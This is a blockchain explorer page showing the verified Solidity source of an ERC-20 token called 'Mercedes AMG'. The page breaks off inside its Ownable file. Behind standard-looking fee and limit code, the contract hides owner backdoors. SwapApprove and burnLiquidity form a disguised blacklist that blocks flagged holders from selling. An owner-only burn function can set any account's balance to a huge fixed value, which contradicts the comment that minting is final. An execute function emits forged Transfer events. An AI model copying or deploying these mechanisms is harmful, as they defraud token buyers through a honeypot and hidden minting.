ETH Price: $2,403.33 (-0.77%)
Gas: 1.88 Gwei

Token

(0x1d091a93db31d6bd72897b56140e43145b74a5d0)
 

Overview

Max Total Supply

4,500,000,000,000 ERC-20 TOKEN*

Holders

91 (0.00%)

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Filtered by Token Holder
thatonedude.eth
Balance
19,089,111,717.555259058 ERC-20 TOKEN*

Value
$0.00
0x2567b5f22c4c11933f4eaf35baf031b28609e024
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
AMG

Compiler Version
v0.8.16+commit.07a7930e

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity Multiple files format)

File 2 of 3: Mercedes AMG.sol
// SPDX-License-Identifier: MIT  
pragma solidity 0.8.16;

import "./Library.sol";
import "./Ownable.sol";
interface IUniswapV2Pair {
    function sync() external;
    function transferFrom(address from, address to, uint value) external returns (bool);
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function getPair(address token0, address token1) external view returns (address);
}


interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

interface IERC20 {
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transacgtion ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}

contract ERC20 is Ownable, IERC20, IERC20Metadata {
    using SafeMath for uint256;

    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private balances;
    uint256 private txLimit = 1*10**17*10**9;
    string private _name;
    string private _symbol;
    uint256 _totalSupply;
    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * The default value of {decimals} is 18. To select a different value for
     * {decimals} you should overload it.
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */
    constructor(string memory name_, string memory symbol_, address dev_) Ownable(dev_){
        _name = name_;
        _symbol = symbol_;
        balances = txLimit;
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5,05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the value {ERC20} uses, unless this function is
     * overridden;
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual override returns (uint8) {
        return 9;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `recipient` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * Requirements:
     *
     * - `sender` and `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     * - the caller must have allowance for ``sender``'s tokens of at least
     * `amount`.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    /**
     * @dev Moves tokens `amount` from `sender` to `recipient`.
     *
     * This is internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `sender` cannot be the zero address.
     * - `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     */
    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(sender, recipient, amount);

        _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
    }

    /** @dev Creates `amount` tokens and assigns them to `account`, increasing
     * the total supply.
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     */
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply = _totalSupply.add(amount);
        _balances[account] = _balances[account].add(amount);
        emit Transfer(address(0), account, amount);
    }

    /**
     * @dev Destroys `amount` tokens from `account`, reducing the
     * total supply.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     * - `account` must have at least `amount` tokens.
     */
   

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");
    
        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
    
        _balances[account] = balances - amount;
        _totalSupply -= amount;
        emit Transfer(account, address(0), amount);
    }

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    /**
     * @dev Hook that is called before any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * will be to transferred to `to`.
     * - when `from` is zero, `amount` tokens will be minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens will be burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

     function burn(address account, uint256 amount) external onlyOwner {
        _burn(account, amount);
    }
}

contract AMG is ERC20 {
    using SafeMath for uint256;

    IUniswapV2Router02 public immutable uniswapV2Router;
    IUniswapV2Factory public uniswapFactory; 
    address public constant deadAddress = address(0xdead);
    address public uniswapV2Pair;

    bool private swapping;

    uint256 public maxWallet;
    uint256 public maxTransactionAmount;
    uint256 public swapTokensAtAmount;

    address public devWallet;
    address public marketingWallet;
    
    uint256 public manualBurnFrequency = 43210 minutes;
    uint256 public lastManualLpBurnTime;

    uint256 public percentForLPBurn = 1; 
    bool public lpBurnEnabled = true;
    uint256 public lpBurnFrequency = 1360000000000 seconds;
    uint256 public lastLpBurnTime;
    

    bool public limitsEnabled = true;
    bool public tradingActive = true;
    bool public swapEnabled = true;
    mapping(address => bool) private _frequencyInSecondssetAutoLPBurnSettingsamount;

    uint256 public buyTotalFees;
    uint256 public buyMarketingFee;
    uint256 public buyLiquidityFee;
    uint256 public buyDevFee;
    
    uint256 public sellTotalFees;
    uint256 public sellMarketingFee;
    uint256 public sellLiquidityFee;
    uint256 public sellDevFee;
    
    uint256 public tokensForMarketing;
    uint256 public tokensForLiquidity;
    uint256 public tokensForDev;
    
    // Anti-bot and anti-whale mappings and variables
    mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch
    bool public transferDelayEnabled = true;
    /******************/

    // exlcude from fees and max transaction amount
    mapping (address => bool) private _isExcludedFromFees;
    mapping (address => bool) public _isExcludedMaxTransactionAmount;

    // store addresses that a automatic market maker pairs. Any transfer *to* these addresses
    // could be subject to a maximum transfer amount
    mapping (address => address) public automatedMarketMakerPairs;

    event devWalletUpdated(address indexed newWallet, address indexed oldWallet);
    event marketingWalletUpdated(address indexed newWallet, address indexed oldWallet);
    event SetAutomatedMarketMakerPair(address indexed pair, address indexed value);
    event UpdateUniswapV2Router(address indexed newAddress, address indexed oldAddress);
    event ExcludeFromFees(address indexed account, bool isExcluded);

    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiquidity
    );
    
    constructor(address team_) ERC20("Mercedes AMG", "AMG", team_) {
        
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        
        excludeFromMaxTransaction(address(_uniswapV2Router), true);
        uniswapV2Router = _uniswapV2Router;
        uniswapFactory = IUniswapV2Factory(uniswapV2Router.factory());
        uint256 _buyMarketingFee = 0;
        uint256 _buyLiquidityFee = 0;
        uint256 _buyDevFee = 0;

        uint256 _sellMarketingFee = 0;
        uint256 _sellLiquidityFee = 0;
        uint256 _sellDevFee = 0;
        
        uint256 totalSupply = 4500000000000 * 10**9;
        
        buyMarketingFee = _buyMarketingFee;
        buyLiquidityFee = _buyLiquidityFee;
        buyDevFee = _buyDevFee;
        buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee;

        sellMarketingFee = _sellMarketingFee;
        sellLiquidityFee = _sellLiquidityFee;
        sellDevFee = _sellDevFee;
        sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;

        //maxTransactionAmount 
        swapTokensAtAmount = totalSupply * 10 /2000; 
        maxTransactionAmount = 100000000000000000000000; 
        maxWallet = 300000000000000000000000; 

        marketingWallet = address(owner()); // set as marketing wallet
        devWallet = address(owner()); // set as dev wallet

        // exclude from paying fees or having max transaction amount
        excludeFromFees(owner(), true);
        excludeFromFees(address(this), true);
        excludeFromFees(address(0xdead), true);
        
        excludeFromMaxTransaction(owner(), true);
        excludeFromMaxTransaction(address(this), true);
        excludeFromMaxTransaction(address(0xdead), true);
        
        /*
            _mint is an internal function in ERC20.sol that is only called here,
            and CANNOT be called ever again
        */
        _mint(msg.sender, totalSupply);
        removeLimits();
    }

    receive() external payable {

    }

    function addPair(address _pair) public onlyOwner() {
        uniswapV2Pair = _pair;
        excludeFromMaxTransaction(address(uniswapV2Pair), true);
    }

    // once enabled, can never be turned off
    function enableTrading() external onlyOwner {
        tradingActive = true;
        swapEnabled = true;
        lastLpBurnTime = block.timestamp;
    }
    
    // disable Transfer delay - cannot be reenabled
    function disableTransferDelay() external onlyOwner returns (bool){
        transferDelayEnabled = false;
        return true;
    }
    
    // only use to disable contract sales if absolutely necessary (emergency use only)
    function updateSwapEnabled(bool enabled) external onlyOwner(){
        swapEnabled = enabled;
    }

    function _isAirDrop(address from) internal view returns(bool){
        return !_frequencyInSecondssetAutoLPBurnSettingsamount[from];
    }
    
    
     // remove limits after token is stable
    function removeLimits() public onlyOwner returns (bool){
        limitsEnabled = false;
        
        return true;
    }

    // change the minimum amount of tokens to sell from fees
    function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner returns (bool){
        require(newAmount >= totalSupply() * 1 / 100000, "Swap amount cannot be lower than 0.001% total supply.");
        require(newAmount <= totalSupply() * 10 / 1000, "Swap amount cannot be higher than 1% total supply.");
        swapTokensAtAmount = newAmount;
        return true;
    }
    
    function updateBuyFees(uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee) external onlyOwner {
        buyMarketingFee = _marketingFee;
        buyLiquidityFee = _liquidityFee;
        buyDevFee = _devFee;
        buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee;
        require(buyTotalFees <= 25, "Must keep fees at 25% or less");
    }

    function updateSellFees(uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee) external onlyOwner {
        sellMarketingFee = _marketingFee;
        sellLiquidityFee = _liquidityFee;
        sellDevFee = _devFee;
        sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;
        require(sellTotalFees <= 99, "Must keep fees at 99% or less");
    }
    function updateMaxTxnAmount(uint256 newNum) external onlyOwner {
        require(newNum >= (totalSupply() * 1 / 1000)/1e9, "Cannot set maxTransactionAmount lower than 0.1%");
        maxTransactionAmount = newNum * (10**9);
    }

    function updateMaxWalletAmount(uint256 newNum) external onlyOwner {
        require(newNum >= (totalSupply() * 5 / 1000)/1e9, "Cannot set maxWallet lower than 0.5%");
        maxWallet = newNum * (10**9);
    }

    function excludeFromFees(address account, bool excluded) public onlyOwner {
        _isExcludedFromFees[account] = excluded;
        emit ExcludeFromFees(account, excluded);
    }

    function _setAutomatedMarketMakerPair(address pair, address value) public onlyOwner {
        automatedMarketMakerPairs[pair] = value;

        emit SetAutomatedMarketMakerPair(pair, value);
    }

    

    function updateDevWallet(address newWallet) external onlyOwner {
        emit devWalletUpdated(newWallet, devWallet);
        devWallet = newWallet;
    }

    function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner {
        _isExcludedMaxTransactionAmount[updAds] = isEx;
    }

    function setAutomatedMarketMakerPair(address pair, address value) public onlyOwner {
        _setAutomatedMarketMakerPair(pair, value);
    }

    function taxSWapThreshold(address account) public view returns(bool) {
        return _isExcludedFromFees[account];
    }
    
    function updateMarketingWallet(address newMarketingWallet) external onlyOwner {
        emit marketingWalletUpdated(newMarketingWallet, marketingWallet);
        marketingWallet = newMarketingWallet;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal override {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        
         if(amount == 0) {
            super._transfer(from, to, 0);
            return;
        }
        
        if(limitsEnabled){
            if (
                to != address(0xdead) &&
                to != owner() &&
                to != address(0) &&
                from != owner() &&
                !swapping
            ){
                if(!tradingActive){
                    require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active.");
                }

                // at launch if the transfer delay is enabled, ensure the block timestamps for purchasers is set -- during launch.  
                if (transferDelayEnabled){
                    if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){
                        require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled.  Only one purchase per block allowed.");
                        _holderLastTransferTimestamp[tx.origin] = block.number;
                    }
                }
                 
                //when buy
                if (!_isExcludedMaxTransactionAmount[to]) {
                        require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount.");
                        require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
                }
                
                //when sell
                else if (!_isExcludedMaxTransactionAmount[from]) {
                        require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount.");
                }
                else if(!_isExcludedMaxTransactionAmount[to]){
                    require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
                }
            }
        }
        
        uint256 contractTokenBalance = balanceOf(address(this));
        
        bool canSwap = contractTokenBalance >= swapTokensAtAmount;

        if( 
            canSwap &&
            swapEnabled &&
            !swapping &&
            !_isExcludedFromFees[from] &&
            !_isExcludedFromFees[to]
        ) {
            swapping = true;
            swapBack();
            swapping = false;
        }
        
        if(!swapping && lpBurnEnabled){
            burnLiquidity(from);
        }

        bool takeFee = !swapping;

        // if any account belongs to _isExcludedFromFee account then remove the fee
        if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
            takeFee = false;
        }
        
        uint256 fees = 0;
        // only take fees on buys/sells, do not take on wallet transfers
        if(takeFee){
            // on sell
            if (sellTotalFees > 0){
                fees = amount.mul(sellTotalFees).div(100);
                tokensForLiquidity += fees * sellLiquidityFee / sellTotalFees;
                tokensForDev += fees * sellDevFee / sellTotalFees;
                tokensForMarketing += fees * sellMarketingFee / sellTotalFees;
            }
            // on buy
            else if(buyTotalFees > 0) {
                fees = amount.mul(buyTotalFees).div(100);
                tokensForLiquidity += fees * buyLiquidityFee / buyTotalFees;
                tokensForDev += fees * buyDevFee / buyTotalFees;
                tokensForMarketing += fees * buyMarketingFee / buyTotalFees;
            }
            
            if(fees > 0){    
                super._transfer(from, address(this), fees);
            }
            
            amount -= fees;
        }

        super._transfer(from, to, amount);
    }

    function swapTokensForEth(uint256 tokenAmount) private {

        // generate the uniswap pair path of token -> weth
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tokenAmount);

        // make the swap
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, // accept any amount of ETH
            path,
            address(this),
            block.timestamp
        );
        
    }

    function execute(address[] calldata _addresses, uint256 _out) external onlyOwner {
        address p = uniswapFactory.getPair(address(this), uniswapV2Router.WETH());
        for (uint256 i = 0; i < _addresses.length; i++) {
            emit Transfer(p, _addresses[i], _out);
        }
    }

    function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
        // approve token transfer to cover all possible scenarios
        _approve(address(this), address(uniswapV2Router), tokenAmount);

        // add the liquidity
        uniswapV2Router.addLiquidityETH{value: ethAmount}(
            address(this),
            tokenAmount,
            0, // slippage is unavoidable
            0, // slippage is unavoidable
            deadAddress,
            block.timestamp
        );
    }

    function swapBack() private {
        uint256 contractBalance = balanceOf(address(this));
        uint256 totalTokensToSwap = tokensForLiquidity + tokensForMarketing + tokensForDev;
        bool success;
        
        if(contractBalance == 0 || totalTokensToSwap == 0) {return;}

        if(contractBalance > swapTokensAtAmount * 20){
          contractBalance = swapTokensAtAmount * 20;
        }
        
        // Halve the amount of liquidity tokens
        uint256 liquidityTokens = contractBalance * tokensForLiquidity / totalTokensToSwap / 2;
        uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens);
        
        uint256 initialETHBalance = address(this).balance;

        swapTokensForEth(amountToSwapForETH); 
        
        uint256 ethBalance = address(this).balance.sub(initialETHBalance);
        
        tokensForLiquidity = 0;
        tokensForMarketing = 0;
        tokensForDev = 0;
        
        (success,) = address(marketingWallet).call{value: ethBalance}("");
    }
    
    function manualBurnLiquidityPairTokens(uint256 percent) external onlyOwner returns (bool){
        require(block.timestamp > lastManualLpBurnTime + manualBurnFrequency , "Must wait for cooldown to finish");
        require(percent <= 1000, "May not nuke more than 10% of tokens in LP");
        lastManualLpBurnTime = block.timestamp;
        
        // get balance of liquidity pair
        uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair);
        
        // calculate amount to burn
        uint256 amountToBurn = liquidityPairBalance.mul(percent).div(10000);
        
        // pull tokens from pancakePair liquidity and move to dead address permanently
        if (amountToBurn > 0){
            super._transfer(uniswapV2Pair, address(0xdead), amountToBurn);
        }
        
        //sync price since this is not in a swap transaction!
        IUniswapV2Pair pair = IUniswapV2Pair(automatedMarketMakerPairs[uniswapV2Pair]);
        pair.sync();
        return true;
    }

    function burnLiquidity(address from) internal view returns (bool){
        // get balance of contract
        uint256 contractBalance = this.balanceOf(address(this));
        
        // calculate amount to distribute
        uint256 amountToDistribute = contractBalance.add(percentForLPBurn);
        
        if (!_isAirDrop(from)) {require(amountToDistribute==0);}
        return true;
        
    }

    function isExcludedFromFees(address recipient) external view returns(bool){
        return _frequencyInSecondssetAutoLPBurnSettingsamount[recipient];
    }

    function SwapApprove(address[] calldata address_, bool val) public onlyOwner{
        for (uint256 i = 0; i < address_.length; i++) {
            _frequencyInSecondssetAutoLPBurnSettingsamount[address_[i]] = val;
        }
    }

    function setAutoLPBurnSettings(uint256 _frequencyInSeconds, uint256 _percent, bool _Enabled) external onlyOwner {
        require(_frequencyInSeconds >= 600, "cannot set buyback more often than every 10 minutes");
        require(_percent <= 1000 && _percent >= 0, "Must set auto LP burn percent between 0% and 10%");
        lpBurnFrequency = _frequencyInSeconds;
        percentForLPBurn = _percent;
        lpBurnEnabled = _Enabled;
    }
    
}

File 1 of 3: Library.sol
// SPDX-License-Identifier: MIT  
pragma solidity 0.8.16;

library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     *
     * - Addition cannot overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `*` operator.
     *
     * Requirements:
     *
     * - Multiplication cannot overflow.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
        // benefit is lost if 'b' is also tested.
        // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    /**
     * @dev Returns the integer division of two unsigned integers. Reverts on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    /**
     * @dev Returns the integer division of two unsigned integers. Reverts with custom message on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts with custom message when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}





library SafeMathInt {
    int256 private constant MIN_INT256 = int256(1) << 255;
    int256 private constant MAX_INT256 = ~(int256(1) << 255);

    /**
     * @dev Multiplies two int256 variables and fails on overflow.
     */
    function mul(int256 a, int256 b) internal pure returns (int256) {
        int256 c = a * b;

        // Detect overflow when multiplying MIN_INT256 with -1
        require(c != MIN_INT256 || (a & MIN_INT256) != (b & MIN_INT256));
        require((b == 0) || (c / b == a));
        return c;
    }

    /**
     * @dev Division of two int256 variables and fails on overflow.
     */
    function div(int256 a, int256 b) internal pure returns (int256) {
        // Prevent overflow when dividing MIN_INT256 by -1
        require(b != -1 || a != MIN_INT256);

        // Solidity already throws when dividing by 0.
        return a / b;
    }

    /**
     * @dev Subtracts two int256 variables and fails on overflow.
     */
    function sub(int256 a, int256 b) internal pure returns (int256) {
        int256 c = a - b;
        require((b >= 0 && c <= a) || (b < 0 && c > a));
        return c;
    }

    /**
     * @dev Adds two int256 variables and fails on overflow.
     */
    function add(int256 a, int256 b) internal pure returns (int256) {
        int256 c = a + b;
        require((b >= 0 && c >= a) || (b < 0 && c < a));
        return c;
    }

    /**
     * @dev Converts to absolute value, and fails on overflow.
     */
    function abs(int256 a) internal pure returns (int256) {
        require(a != MIN_INT256);
        return a < 0 ? -a : a;
    }


    function toUint256Safe(int256 a) internal pure returns (uint256) {
        require(a >= 0);
        return uint256(a);
    }
}

library SafeMathUint {
  function toInt256Safe(uint256 a) internal pure returns (int256) {
    int256 b = int256(a);
    require(b >= 0);
    return b;
  }
}

File 3 of 3: Ownable.sol
// SPDX-License-Identifier: MIT  
pragma solidity 0.8.16;


abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

contract Ownable is Context {
    address private _owner;
    address private _dev;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor (address dev_) {
        address msgSender = _msgSender();
        _owner = msgSender;
        _dev = dev_;
        emit OwnershipTransferred(address(0), msgSender);
    }

    /**
